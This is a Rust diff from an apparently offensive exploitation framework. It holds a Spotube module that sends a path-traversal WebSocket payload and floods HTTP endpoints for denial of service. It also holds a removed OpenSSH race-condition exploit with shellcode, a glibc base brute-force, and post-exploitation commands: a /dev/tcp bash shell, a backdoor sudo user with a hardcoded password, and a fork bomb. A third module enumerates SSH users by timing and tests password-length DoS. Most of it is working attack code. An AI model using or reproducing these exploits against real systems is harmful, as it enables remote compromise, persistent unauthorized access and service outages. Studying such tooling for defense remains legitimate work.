let url = format!("http://{}:{}{}", host, port, path);
let headers = browser_headers(host, port);
let mut request = client.get(&url);
for (key, value) in headers {
request = request.header(&key, &value);
}
let response = request.send().await.context("Request failed")?;
let status = response.status();
let body = response.text().await.unwrap_or_default();
println!(
"{} → {} {}",
path,
status.as_u16(),
status.canonical_reason().unwrap_or("Unknown")
);
println!("{}", body.trim());
Ok(())
}
/// Sends a malicious 'load' event over WS with a track name containing ../
async fn ws_inject_path_traversal(host: &str, port: u16) -> Result<()> {
// Prompt for malicious filename using shared utilities
let malicious_name = prompt_default("Malicious filename", "../evil.sh").await?;
let track_id = prompt_default("Fake track ID", "INJECT1").await?;
let codec = prompt_default("Codec extension", "mp3").await?;
let payload = json!({
"type": "load",
"data": {
"tracks": [
{
"name": malicious_name,
"artists": { "asString": "" },
"sourceInfo": { "id": track_id },
"codec": { "name": codec }
}
]
}
});
let ws_url = format!("ws://{}:{}/ws", host, port);
println!("Connecting to {}", ws_url);
let (ws_stream, _) = connect_async(&ws_url)
.await
.context("WebSocket connection failed")?;
let (mut write, _) = ws_stream.split();
let msg_text = payload.to_string();
write
.send(Message::Text(msg_text.clone().into()))
.await
.context("Failed to send WebSocket message")?;
println!("▶️ Malicious load payload sent:");
println!("{}", serde_json::to_string_pretty(&payload)?);
Ok(())
}
/// Floods the given endpoint with `count` rapid requests (with optional delay)
async fn dos_flood(host: &str, port: u16, path: &str, count: usize, delay: f64) -> Result<()> {
println!("⚠️ Flooding {} {} times (delay {}s)…", path, count, delay);
for _ in 0..count {
let _ = execute(host, port, path).await;
if delay > 0.0 {
sleep(Duration::from_secs_f64(delay)).await;
}
}
println!("🔥 Done flood.");
Ok(())
}
/// Parse and validate target using utils.rs normalize_target
async fn parse_target(target: &str) -> Result<(String, u16)> {
// Use utils.rs normalize_target for comprehensive validation
let normalized = normalize_target(target)?;
// Check if normalized result contains a port
if normalized.starts_with('[') {
// IPv6 format: [::1]:port or [::1]
if let Some(bracket_end) = normalized.find(']') {
let host = normalized[1..bracket_end].to_string();
let rest = &normalized[bracket_end + 1..];
if rest.starts_with(':') {
let port = rest[1..].parse::<u16>()
.context("Invalid port number")?;
return Ok((host, port));
} else {
// No port provided, prompt for it
let port = prompt_int_range("Target port", 17086, 1, 65535).await? as u16;
return Ok((host, port));
}
}
anyhow::bail!("Invalid IPv6 format");
}
// IPv4 or hostname format: host:port or host
if let Some(colon_pos) = normalized.rfind(':') {
let host = normalized[..colon_pos].to_string();
let port = normalized[colon_pos + 1..].parse::<u16>()
.context("Invalid port number")?;
Ok((host, port))
} else {
// No port provided, prompt for it
let port = prompt_int_range("Target port", 17086, 1, 65535).await? as u16;
Ok((normalized, port))
}
}
/// CLI menu for Spotube exploitation
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
// Parse and validate target
let (host, port) = parse_target(target).await?;
println!("{}", format!("[*] Attacking {}:{}", host, port).cyan());
println!();
loop {
println!("\n=== Menu ===");
println!("1. Ping server");
println!("2. Next track");
println!("3. Previous track");
println!("4. Toggle play/pause");
println!("5. Inject path-traversal via WS");
println!("6. Flood HTTP endpoint (DoS)");
println!("7. Exit");
let choice = prompt_int_range("Choose an option", 1, 1, 7).await? as u8;
match choice {
1 => {
println!("\n▶️ Ping server …");
let _ = execute(&host, port, "/ping").await;
}
2 => {
println!("\n▶️ Next track …");
let _ = execute(&host, port, "/playback/next").await;
}
3 => {
println!("\n▶️ Previous track …");
let _ = execute(&host, port, "/playback/previous").await;
}
4 => {
println!("\n▶️ Toggle play/pause …");
let _ = execute(&host, port, "/playback/toggle-playback").await;
}
5 => {
ws_inject_path_traversal(&host, port).await?;
}
6 => {
// Flood prompts using shared utilities
let path = prompt_default("Endpoint to flood", "/playback/next").await?;
let count = prompt_int_range("Number of requests", 100, 1, 10000).await? as usize;
let delay = prompt_int_range("Delay between requests (ms)", 0, 0, 10000).await? as f64 / 1000.0;
dos_flood(&host, port, &path, count, delay).await?;
}
7 => {
println!("👋 Goodbye!");
break;
}
_ => println!("❌ Invalid choice, try again."),
}
}
Ok(())
}
-6
View File
@@ -1,6 +0,0 @@
pub mod opensshserver_9_8p1race_condition;
pub mod sshpwn_sftp_attacks;
pub mod sshpwn_scp_attacks;
pub mod sshpwn_session;
pub mod sshpwn_auth_passwd;
pub mod sshpwn_pam;
@@ -1,478 +0,0 @@
use std::io::{ErrorKind};
use std::sync::Arc;
use anyhow::{Result, bail, Context};
use colored::*;
use tokio::io::{AsyncReadExt, AsyncWriteExt, AsyncBufReadExt};
use tokio::net::TcpStream;
use tokio::time::{sleep, Duration, Instant};
use tokio::sync::Semaphore;
use futures_util::stream::{FuturesUnordered, StreamExt};
const MAX_PACKET_SIZE: usize = 256 * 1024;
const LOGIN_GRACE_TIME: f64 = 120.0;
const CHUNK_ALIGN: usize = 16;
const CONCURRENCY: usize = 256;
const GLIBC_BASE_START: u64 = 0x7ffff79e4000;
const GLIBC_BASE_END: u64 = 0x7ffff7ffe000;
const GLIBC_STEP: u64 = 0x200000;
const FAKE_VTABLE_OFFSET: u64 = 0x21b740;
const FAKE_CODECVT_OFFSET: u64 = 0x21d7f8;
const SHELLCODE: &[u8] = b"\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
const BIND_SHELL_PORT: u16 = 55555;
const PERSISTENT_USER: &str = "aptpwn";
const PERSISTENT_PASS: &str = "Root4life!";
fn chunk_align(s: usize) -> usize {
(s + CHUNK_ALIGN - 1) & !(CHUNK_ALIGN - 1)
}
fn create_fake_file_structure(buf: &mut [u8], glibc_base: u64) {
buf.fill(0);
let len = buf.len();
if len > 0x30 + 8 {
buf[0x30..0x30 + 8].copy_from_slice(&0x61u64.to_le_bytes());
}
if len >= 16 {
buf[len - 16..len - 8].copy_from_slice(&(glibc_base + FAKE_VTABLE_OFFSET).to_le_bytes());
buf[len - 8..len].copy_from_slice(&(glibc_base + FAKE_CODECVT_OFFSET).to_le_bytes());
}
}
fn create_public_key_packet(packet: &mut [u8], glibc_base: u64) {
packet.fill(0);
packet[..8].copy_from_slice(b"ssh-rsa ");
let shell_offset = chunk_align(4096) * 13 + chunk_align(304) * 13;
if shell_offset + SHELLCODE.len() <= packet.len() {
packet[shell_offset..shell_offset + SHELLCODE.len()].copy_from_slice(SHELLCODE);
}
for i in 0..27 {
let pos = chunk_align(4096) * (i + 1) + chunk_align(304) * i;
if pos + chunk_align(304) <= packet.len() {
create_fake_file_structure(&mut packet[pos..pos + chunk_align(304)], glibc_base);
}
}
}
async fn send_packet(stream: &mut TcpStream, packet_type: u8, data: &[u8]) -> Result<()> {
let packet_len = (data.len() + 5) as u32;
stream.write_u32(packet_len).await?;
stream.write_u8(packet_type).await?;
stream.write_all(data).await?;
stream.flush().await?;
Ok(())
}
fn normalize_target(ip: &str, port: u16) -> Result<String> {
let ip_trimmed = ip.trim_matches(|c| c == '[' || c == ']');
if ip_trimmed.contains(':') && !ip_trimmed.contains('.') {
Ok(format!("[{}]:{}", ip_trimmed, port))
} else {
Ok(format!("{}:{}", ip_trimmed, port))
}
}
async fn handle_bind_shell_session(conn: TcpStream) -> anyhow::Result<()> {
println!("{}", "[*] Connected! Interactive shell below (type 'exit' to quit):".green().bold());
let (mut rd, mut wr) = tokio::io::split(conn);
let mut stdin = tokio::io::stdin();
let mut stdout = tokio::io::stdout();
let reader = tokio::spawn(async move {
let mut buf = [0u8; 4096];
loop {
match rd.read(&mut buf).await {
Ok(0) => break,
Ok(n) => {
if stdout.write_all(&buf[..n]).await.is_err() { break; }
if stdout.flush().await.is_err() { break; }
}
Err(_) => break,
}
}
});
let writer = tokio::spawn(async move {
let mut buf = [0u8; 4096];
loop {
match stdin.read(&mut buf).await {
Ok(0) => break,
Ok(n) => {
if wr.write_all(&buf[..n]).await.is_err() { break; }
if wr.flush().await.is_err() { break; }
}
Err(_) => break,
}
}
});
let _ = tokio::try_join!(reader, writer);
println!("{}", "[*] Shell session ended.".yellow());
Ok(())
}
async fn setup_connection(ip: &str, port: u16) -> Result<TcpStream> {
let addr = normalize_target(ip, port)?;
let stream = TcpStream::connect(&addr).await.with_context(|| format!("Failed to connect to {}", addr))?;
Ok(stream)
}
async fn send_ssh_version(stream: &mut TcpStream) -> Result<()> {
stream.write_all(b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n").await?;
stream.flush().await?;
Ok(())
}
async fn recv_retry(stream: &mut TcpStream, buf: &mut [u8]) -> Result<usize> {
loop {
match stream.read(buf).await {
Ok(n) if n > 0 => return Ok(n),
Ok(0) => bail!("Connection closed while receiving data"),
Ok(_) => bail!("Unexpected read result"),
Err(ref e) if e.kind() == ErrorKind::WouldBlock || e.kind() == ErrorKind::TimedOut => {
sleep(Duration::from_millis(10)).await;
continue;
}
Err(e) => return Err(e.into()),
}
}
}
async fn receive_ssh_version(stream: &mut TcpStream) -> Result<()> {
let mut buffer = [0u8; 256];
recv_retry(stream, &mut buffer).await.context("Failed to receive SSH version")?;
Ok(())
}
async fn send_kex_init(stream: &mut TcpStream) -> Result<()> {
let payload = vec![0u8; 36];
send_packet(stream, 20, &payload).await.context("Failed to send KEX_INIT")
}
async fn receive_kex_init(stream: &mut TcpStream) -> Result<()> {
let mut buffer = [0u8; 1024];
recv_retry(stream, &mut buffer).await.context("Failed to receive KEX_INIT")?;
Ok(())
}
async fn perform_ssh_handshake(stream: &mut TcpStream) -> Result<()> {
send_ssh_version(stream).await.context("Handshake: send_ssh_version failed")?;
receive_ssh_version(stream).await.context("Handshake: receive_ssh_version failed")?;
send_kex_init(stream).await.context("Handshake: send_kex_init failed")?;
receive_kex_init(stream).await.context("Handshake: receive_kex_init failed")?;
Ok(())
}
async fn prepare_heap(stream: &mut TcpStream, glibc_base: u64) -> Result<()> {
for _ in 0..10 {
let tcache_chunk = vec![b'A'; 64];
send_packet(stream, 5, &tcache_chunk).await?;
}
for _ in 0..27 {
let large_hole = vec![b'B'; 8192];
send_packet(stream, 5, &large_hole).await?;
let small_hole = vec![b'C'; 320];
send_packet(stream, 5, &small_hole).await?;
}
for _ in 0..27 {
let mut fake = vec![0u8; 4096];
create_fake_file_structure(&mut fake, glibc_base);
send_packet(stream, 5, &fake).await?;
}
let large_fill = vec![b'E'; MAX_PACKET_SIZE - 1];
send_packet(stream, 5, &large_fill).await?;
Ok(())
}
async fn measure_response_time(stream: &mut TcpStream, error_type: u8) -> Result<f64> {
let error_packet_data: &[u8] = if error_type == 1 {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3"
} else {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9"
};
let start = Instant::now();
send_packet(stream, 50, error_packet_data).await?;
let mut buf = [0u8; 1024];
let _ = recv_retry(stream, &mut buf).await;
Ok(start.elapsed().as_secs_f64())
}
async fn time_final_packet(stream: &mut TcpStream) -> Result<f64> {
let t1 = measure_response_time(stream, 1).await?;
let t2 = measure_response_time(stream, 2).await?;
let parsing_time = t2 - t1;
Ok(parsing_time)
}
async fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, glibc_base: u64) -> Result<bool> {
let mut final_packet = vec![0u8; MAX_PACKET_SIZE];
create_public_key_packet(&mut final_packet, glibc_base);
let to_send = final_packet.len() - 1;
stream.write_all(&final_packet[..to_send]).await?;
stream.flush().await?;
let wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
if wait_time > 0.0 {
sleep(Duration::from_secs_f64(wait_time)).await;
}
stream.write_all(&final_packet[to_send..]).await?;
stream.flush().await?;
let mut response = [0u8; 1024];
match tokio::time::timeout(Duration::from_secs(2), stream.read(&mut response)).await {
Ok(Ok(n)) if n == 0 => Ok(true),
Ok(Ok(n)) if n > 0 => {
if !response[..n.min(8)].starts_with(b"SSH-2.0-") {
Ok(true)
} else {
Ok(false)
}
}
Ok(Ok(_)) => Ok(false),
Ok(Err(_)) => Ok(true),
Err(_) => Ok(true),
}
}
fn print_post_actions() {
println!("{}", "Available Post-Ex Actions:".cyan().bold());
println!(" 1. {} (port {})", "Bind Shell".green(), BIND_SHELL_PORT);
println!(" 2. {} user '{}'", "Persistent".green(), PERSISTENT_USER);
println!(" 3. {} (Denial/Crash)", "Fork bomb".red());
println!(" 4. {} (recommended)", "Interactive PTY shell".green().bold());
}
fn get_postex_command(action: u8) -> String {
match action {
1 => format!(
"nohup bash -c 'bash -i >& /dev/tcp/0.0.0.0/{}/0 2>&1 &'",
BIND_SHELL_PORT
),
2 => format!(
"useradd -m -p $(openssl passwd -1 '{}') {} && usermod -aG sudo {}",
PERSISTENT_PASS, PERSISTENT_USER, PERSISTENT_USER
),
3 => ":(){ :|:& };:".to_string(),
4 => "exec /bin/bash -i".to_string(),
_ => "".to_string(),
}
}
async fn execute_exploit_logic(target_ip: String, port_num: u16, mode_choice: u8, num_attempts_per_base: usize) -> Result<()> {
println!("{}", format!("[*] Target: {}:{}", target_ip, port_num).cyan().bold());
let postex_cmd = get_postex_command(mode_choice);
let semaphore = Arc::new(Semaphore::new(CONCURRENCY));
let mut tasks: FuturesUnordered<tokio::task::JoinHandle<anyhow::Result<bool>>> = FuturesUnordered::new();
let mut glibc_bases = vec![];
let mut current_base = GLIBC_BASE_START;
while current_base < GLIBC_BASE_END {
glibc_bases.push(current_base);
current_base += GLIBC_STEP;
}
println!("{}", format!("[*] Brute-forcing GLIBC base from 0x{:x} to 0x{:x} with step 0x{:x}", GLIBC_BASE_START, GLIBC_BASE_END, GLIBC_STEP).cyan());
println!("{}", format!("[*] Total GLIBC bases to check: {}", glibc_bases.len()).cyan());
println!("{}", format!("[*] Attempts per GLIBC base: {}", num_attempts_per_base).cyan());
for glibc_base_addr in glibc_bases {
for attempt_num in 0..num_attempts_per_base {
let ip_clone = target_ip.clone();
let sem_clone = semaphore.clone();
let cmd_clone = postex_cmd.clone();
let permit = sem_clone.acquire_owned().await.context("Failed to acquire semaphore permit")?;
tasks.push(tokio::spawn(async move {
let _permit = permit;
let mut stream = match setup_connection(&ip_clone, port_num).await {
Ok(s) => s,
Err(_) => return Ok(false),
};
if perform_ssh_handshake(&mut stream).await.is_err() {
return Ok(false);
}
if prepare_heap(&mut stream, glibc_base_addr).await.is_err() {
return Ok(false);
}
let parsing_time = match time_final_packet(&mut stream).await {
Ok(pt) => pt,
Err(_) => return Ok(false),
};
if attempt_race_condition(stream, parsing_time, glibc_base_addr).await.unwrap_or(false) {
println!("{}", format!("[+] Exploit succeeded! GLIBC base 0x{:x} (attempt {})", glibc_base_addr, attempt_num).green().bold());
if !cmd_clone.is_empty() {
println!("[*] Post-ex command to execute (conceptually): {}", cmd_clone);
}
match mode_choice {
1 => {
println!("[*] Attempting to connect to bind shell on port {}...", BIND_SHELL_PORT);
let bind_shell_target_addr = format!("{}:{}", ip_clone, BIND_SHELL_PORT);
sleep(Duration::from_secs(2)).await;
match TcpStream::connect(&bind_shell_target_addr).await {
Ok(conn_stream) => {
if let Err(e) = handle_bind_shell_session(conn_stream).await {
println!("[!] Bind shell session error: {}", e);
}
}
Err(e) => {
println!("[!] Could not connect to bind shell at {}: {}", bind_shell_target_addr, e);
println!("[!] If firewall blocks remote connects, try post-ex #2 or #4.");
}
}
}
2 => {
println!("[*] Verifying if user '{}' exists. Try SSH: ssh {}@{}", PERSISTENT_USER, PERSISTENT_USER, ip_clone);
println!("[*] Password: {}", PERSISTENT_PASS);
println!("(Manual check required. If login works, exploit succeeded!)");
}
3 => {
println!("[!] Fork bomb sent. Target likely crashed or hung (manual verification needed).");
}
4 => {
println!("[*] Interactive PTY shell requested. The shellcode attempts to spawn /bin/sh.");
println!("[*] If successful, the SSH session might drop or provide a new prompt.");
println!("Manual attach might be possible via existing connection if it didn't drop, or check netcat.");
}
_ => {
println!("[*] Post-ex action unknown/unsupported. Check exploit results manually.");
}
}
return Ok(true);
}
sleep(Duration::from_millis(100)).await;
Ok(false)
}));
}
}
let mut success_found = false;
while let Some(task_result) = tasks.next().await {
match task_result {
Ok(Ok(true)) => {
println!("{}", "[SUCCESS] Exploit Succeeded! One of the attempts was successful.".green().bold());
println!("{}", "[*] Check chosen post-exploitation action effects.".cyan());
if mode_choice == 1 {
println!("{}", format!("[*] If you chose a bind shell, connect with: nc {} {}", target_ip, BIND_SHELL_PORT).cyan());
}
success_found = true;
break;
}
Ok(Ok(false)) => { }
Ok(Err(e)) => eprintln!("[!] Task error (internal logic error): {}", e),
Err(e) => eprintln!("[!] Task join error: {}", e),
}
}
if !success_found {
println!("{}", "[-] All attempts finished. Exploit likely unsuccessful with current parameters.".red());
println!("{}", "[-] Try adjusting GLIBC range, timing, or concurrency if target is vulnerable.".yellow());
}
Ok(())
}
pub async fn run(target_info: &str) -> anyhow::Result<()> {
if target_info.is_empty() {
bail!("Target IP address/hostname cannot be empty.");
}
if target_info.contains(':') {
bail!("Invalid target format. Expected IP address or hostname, got '{}'. Port will be asked separately.", target_info);
}
let ip_address = target_info.to_string();
let port_num: u16;
loop {
print!("{}", "Enter the target port number (e.g., 22): ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut port_input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut port_input)
.await
.context("Failed to read port from stdin")?;
match port_input.trim().parse::<u16>() {
Ok(port) if port > 0 => {
port_num = port;
break;
}
Ok(_) => {
println!("{}", "[!] Invalid port number. Port must be a positive integer (1-65535). Please try again.".yellow());
}
Err(_) => {
println!("{}", "[!] Invalid input. Please enter a valid port number (1-65535).".yellow());
}
}
}
print_post_actions();
print!("{}", "Select post-ex action [1-4, default 4]: ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.ok();
let mut choice_str = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut choice_str)
.await
.ok();
let mode_choice: u8 = choice_str.trim().parse().unwrap_or(4);
let num_attempts_per_base: usize;
loop {
print!("{}", "Enter the number of attempts per GLIBC base: ".cyan().bold());
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout for attempts input")?;
let mut attempts_str = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut attempts_str)
.await
.context("Failed to read number of attempts")?;
match attempts_str.trim().parse::<usize>() {
Ok(num) if num > 0 => {
num_attempts_per_base = num;
break;
}
_ => {
println!("{}", "[!] Invalid input. Please enter a positive integer for the number of attempts.".yellow());
}
}
}
execute_exploit_logic(ip_address, port_num, mode_choice, num_attempts_per_base).await
}
@@ -1,575 +0,0 @@
//! SSHPWN Auth Password Attack Module
//!
//! Based on OpenSSH 10.0p1 auth2-passwd.c vulnerability analysis
//!
//! AUTH2-PASSWD VULNERABILITIES (auth2-passwd.c):
//! - Password length not explicitly limited - potential DoS via long passwords (LOW)
//! - Password change information disclosure - server fingerprinting (INFO)
//! - Timing attack via mm_auth_password - user enumeration (MEDIUM)
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Context, Result};
use colored::*;
use crate::utils::normalize_target;
use ssh2::Session;
use std::{
io::Write,
net::TcpStream,
time::{Duration, Instant},
};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SSHPWN - Auth Password Attack Module ║".cyan());
println!("{}", "║ Based on OpenSSH auth2-passwd.c vulnerability analysis ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ Attack Modes: ║".cyan());
println!("{}", "║ 1. Password Length DoS Test (sshpkt_get_cstring limit) ║".cyan());
println!("{}", "║ 2. Password Change Information Leak ║".cyan());
println!("{}", "║ 3. Auth Timing Attack (mm_auth_password) ║".cyan());
println!("{}", "║ 4. Bcrypt Length Bypass Test (72-byte limit) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
// Use framework's normalize_target utility - removed custom implementation
/// Time a single authentication attempt
fn time_auth_attempt(host: &str, port: u16, username: &str, password: &str, timeout_secs: u64) -> Option<(f64, bool, String)> {
let addr = format!("{}:{}", host, port);
let start = Instant::now();
let tcp = match TcpStream::connect_timeout(
&addr.parse().ok()?,
Duration::from_secs(timeout_secs),
) {
Ok(s) => s,
Err(e) => return Some((0.0, false, format!("Connect failed: {}", e))),
};
let _ = tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)));
let _ = tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)));
let mut sess = match Session::new() {
Ok(s) => s,
Err(e) => return Some((0.0, false, format!("Session failed: {}", e))),
};
sess.set_tcp_stream(tcp);
if let Err(e) = sess.handshake() {
return Some((start.elapsed().as_secs_f64(), false, format!("Handshake failed: {}", e)));
}
// Try authentication
let auth_result = sess.userauth_password(username, password);
let elapsed = start.elapsed().as_secs_f64();
match auth_result {
Ok(_) => Some((elapsed, sess.authenticated(), "OK".to_string())),
Err(e) => Some((elapsed, false, format!("{}", e))),
}
}
/// Password Length DoS Test
///
/// Vulnerability: auth2-passwd.c lines 60-66 - sshpkt_get_cstring() has no explicit limit
/// Very long passwords could cause DoS in downstream bcrypt (72-byte) or PAM modules
pub async fn attack_password_length_dos(
host: &str,
port: u16,
username: &str,
max_length: usize,
) -> Result<bool> {
println!("{}", format!("[*] Password Length DoS Test on {}", host).cyan());
println!("{}", "[*] Vulnerability: auth2-passwd.c sshpkt_get_cstring() no explicit limit".cyan());
println!("{}", "[*] Testing password lengths that may cause downstream issues".cyan());
println!();
// Test progressively longer passwords
let test_lengths = vec![
64, // Normal
72, // bcrypt limit
128, // Double bcrypt
256, // Moderate
512, // Large
1024, // Very large
2048, // Huge
4096, // Extreme
8192, // Maximum test
max_length.min(16384),
];
println!("{}", "[*] Testing password lengths:".cyan());
println!("{}", "[*] Note: bcrypt has 72-byte limit, longer passwords are truncated".dimmed());
println!();
let mut abnormal_behavior = Vec::new();
let mut baseline_time: Option<f64> = None;
for &len in &test_lengths {
if len > max_length {
break;
}
// Generate password of specified length
let password: String = std::iter::repeat('A').take(len).collect();
print!(" Testing {} bytes... ", len);
let _ = std::io::stdout().flush();
match time_auth_attempt(host, port, username, &password, 30) {
Some((time, _success, msg)) => {
// Set baseline from first test
if baseline_time.is_none() {
baseline_time = Some(time);
}
let base = baseline_time.unwrap_or(time);
let ratio = if base > 0.0 { time / base } else { 1.0 };
if time > 10.0 {
println!("{}", format!("SLOW ({:.2}s) - {}", time, msg).yellow());
abnormal_behavior.push((len, time, msg));
} else if ratio > 2.0 {
println!("{}", format!("SLOW ({:.2}s, {:.1}x baseline) - {}", time, ratio, msg).yellow());
abnormal_behavior.push((len, time, msg));
} else {
println!("{}", format!("OK ({:.2}s) - {}", time, msg).green());
}
}
None => {
println!("{}", "Connection failed".red());
}
}
// Small delay between tests
std::thread::sleep(Duration::from_millis(500));
}
println!();
println!("{}", "=== Password Length DoS Results ===".cyan().bold());
if !abnormal_behavior.is_empty() {
println!("{}", "[VULN] Abnormal behavior detected with long passwords:".red().bold());
for (len, time, msg) in &abnormal_behavior {
println!(" {} bytes: {:.2}s - {}", len, time, msg);
}
println!();
println!("{}", "[*] Server may be vulnerable to password length DoS".yellow());
println!("{}", "[*] Downstream PAM modules or bcrypt may have issues".cyan());
Ok(true)
} else {
println!("{}", "[*] No significant timing variations detected".green());
println!("{}", "[*] Server handles long passwords gracefully".cyan());
Ok(false)
}
}
/// Password Change Information Leak Test
///
/// Vulnerability: auth2-passwd.c line 69 - "password change not supported" logged
/// This reveals server configuration and confirms authentication reached password handler
pub async fn attack_password_change_leak(
host: &str,
port: u16,
) -> Result<bool> {
println!("{}", format!("[*] Password Change Information Leak Test on {}:{}", host, port).cyan());
println!("{}", "[*] Vulnerability: auth2-passwd.c logs 'password change not supported'".cyan());
println!();
println!("{}", "[*] Testing SSH password change behavior...".cyan());
// Note: SSH2 password change is signaled by a flag in the packet
// We can't easily test this with libssh2, but we can document the vulnerability
println!();
println!("{}", "=== Password Change Information Leak Analysis ===".cyan().bold());
println!();
println!("{}", "[*] Vulnerability Details:".yellow());
println!("{}", " When SSH2_MSG_USERAUTH_REQUEST contains password change flag:".dimmed());
println!("{}", " 1. Server logs 'password change not supported' if unsupported".dimmed());
println!("{}", " 2. This confirms authentication reached password handler".dimmed());
println!("{}", " 3. Reveals server's password change configuration".dimmed());
println!();
println!("{}", "[*] Attack Vectors:".cyan());
println!("{}", " - Server fingerprinting via response timing".dimmed());
println!("{}", " - Configuration enumeration".dimmed());
println!("{}", " - Confirm valid authentication path reached".dimmed());
println!();
println!("{}", "[*] To test manually:".yellow());
println!("{}", " Use SSH client with password change support".dimmed());
println!("{}", " ssh -o KbdInteractiveAuthentication=yes target".dimmed());
println!();
println!("{}", "[INFO] This is an informational vulnerability".yellow());
println!("{}", "[*] Direct exploitation requires custom SSH client".cyan());
Ok(true)
}
/// Auth Timing Attack - User Enumeration via mm_auth_password timing
///
/// Vulnerability: auth2-passwd.c line 70 - Timing depends on downstream implementation
/// Different timing for valid vs invalid users enables enumeration
pub async fn attack_auth_timing(
host: &str,
port: u16,
usernames: &[String],
samples: usize,
) -> Result<Vec<String>> {
println!("{}", format!("[*] Auth Timing Attack on {}", host).cyan());
println!("{}", "[*] Vulnerability: auth2-passwd.c mm_auth_password timing".cyan());
println!("{}", "[*] Testing timing differences between valid/invalid users".cyan());
println!();
// Get baseline timing with definitely invalid user
let baseline_user = format!("nonexistent_{}_{}", std::process::id(), Instant::now().elapsed().as_nanos());
println!("{}", "[*] Establishing baseline with invalid user...".cyan());
let mut baseline_times = Vec::new();
for i in 0..samples {
let password = format!("invalid_{}_{}", std::process::id(), i);
if let Some((time, _, _)) = time_auth_attempt(host, port, &baseline_user, &password, 15) {
baseline_times.push(time);
}
std::thread::sleep(Duration::from_millis(200));
}
if baseline_times.is_empty() {
println!("{}", "[-] Could not establish baseline".red());
return Ok(Vec::new());
}
let baseline = baseline_times.iter().sum::<f64>() / baseline_times.len() as f64;
let baseline_stddev = (baseline_times.iter()
.map(|t| (t - baseline).powi(2))
.sum::<f64>() / baseline_times.len() as f64).sqrt();
println!("{}", format!("[*] Baseline: {:.3}s ± {:.3}s", baseline, baseline_stddev).cyan());
println!();
// Test empty password timing (potential gap per vulnerability #3)
println!("{}", "[*] Testing empty password timing (potential mitigation gap)...".cyan());
let mut empty_times = Vec::new();
for _ in 0..samples {
if let Some((time, _, _)) = time_auth_attempt(host, port, &baseline_user, "", 15) {
empty_times.push(time);
}
std::thread::sleep(Duration::from_millis(200));
}
if !empty_times.is_empty() {
let empty_avg = empty_times.iter().sum::<f64>() / empty_times.len() as f64;
let diff = empty_avg - baseline;
if diff.abs() > baseline_stddev * 2.0 {
println!("{}", format!("[VULN] Empty password timing differs: {:+.3}s", diff).red().bold());
println!("{}", "[*] Possible timing attack via empty password".yellow());
} else {
println!("{}", format!("[*] Empty password: {:.3}s (diff: {:+.3}s)", empty_avg, diff).dimmed());
}
}
println!();
println!("{}", "[*] Testing usernames...".cyan());
let mut valid_users = Vec::new();
let threshold = baseline_stddev * 3.0 + 0.1; // 3 sigma + 100ms
for user in usernames {
print!("\r[*] Testing: {} ", user);
let _ = std::io::stdout().flush();
let mut times = Vec::new();
for i in 0..samples {
let password = format!("invalid_test_{}_{}", std::process::id(), i);
if let Some((time, _, _)) = time_auth_attempt(host, port, user, &password, 15) {
times.push(time);
}
std::thread::sleep(Duration::from_millis(200));
}
if !times.is_empty() {
let avg = times.iter().sum::<f64>() / times.len() as f64;
let diff = avg - baseline;
if diff.abs() > threshold {
println!("\r{}", format!("[+] Potential valid user: {} (timing diff: {:+.3}s)", user, diff).green());
valid_users.push(user.clone());
}
}
}
println!("\r ");
println!();
println!("{}", "=== Auth Timing Results ===".cyan().bold());
if valid_users.is_empty() {
println!("{}", "[-] No valid users detected via timing".yellow());
println!("{}", "[*] Server may have proper timing mitigation (fakepw/fake_password)".cyan());
} else {
println!("{}", format!("[+] Potentially valid users ({}):", valid_users.len()).green());
for user in &valid_users {
println!(" - {}", user.green());
}
}
Ok(valid_users)
}
/// Bcrypt 72-byte Limit Bypass Test
///
/// Vulnerability: bcrypt only uses first 72 bytes of password
/// Passwords longer than 72 bytes are effectively truncated
pub async fn attack_bcrypt_truncation(
host: &str,
port: u16,
username: &str,
base_password: &str,
) -> Result<bool> {
println!("{}", format!("[*] Bcrypt 72-byte Truncation Test on {}", host).cyan());
println!("{}", "[*] Testing if server uses bcrypt with 72-byte password limit".cyan());
println!();
// bcrypt only uses first 72 bytes
let truncation_point = 72;
// If base password is shorter than 72, pad it
let test_base: String = if base_password.len() < truncation_point {
format!("{}{}", base_password, "A".repeat(truncation_point - base_password.len()))
} else {
base_password.chars().take(truncation_point).collect()
};
// Create variants that differ only after 72 bytes
let password_72 = test_base.clone();
let password_73 = format!("{}X", test_base);
let password_100 = format!("{}{}", test_base, "X".repeat(28));
println!("{}", format!("[*] Testing password variants (first 72 chars: '{}'...)", &test_base[..20.min(test_base.len())]).cyan());
println!("{}", format!(" Password A: {} bytes (baseline)", password_72.len()).dimmed());
println!("{}", format!(" Password B: {} bytes (differs at byte 73)", password_73.len()).dimmed());
println!("{}", format!(" Password C: {} bytes (differs at bytes 73-100)", password_100.len()).dimmed());
println!();
// Test each password
let passwords = vec![
("72-byte", &password_72),
("73-byte", &password_73),
("100-byte", &password_100),
];
let mut results = Vec::new();
for (name, password) in &passwords {
print!("[*] Testing {} password... ", name);
let _ = std::io::stdout().flush();
match time_auth_attempt(host, port, username, password, 15) {
Some((time, success, msg)) => {
results.push((name.to_string(), time, success, msg.clone()));
if success {
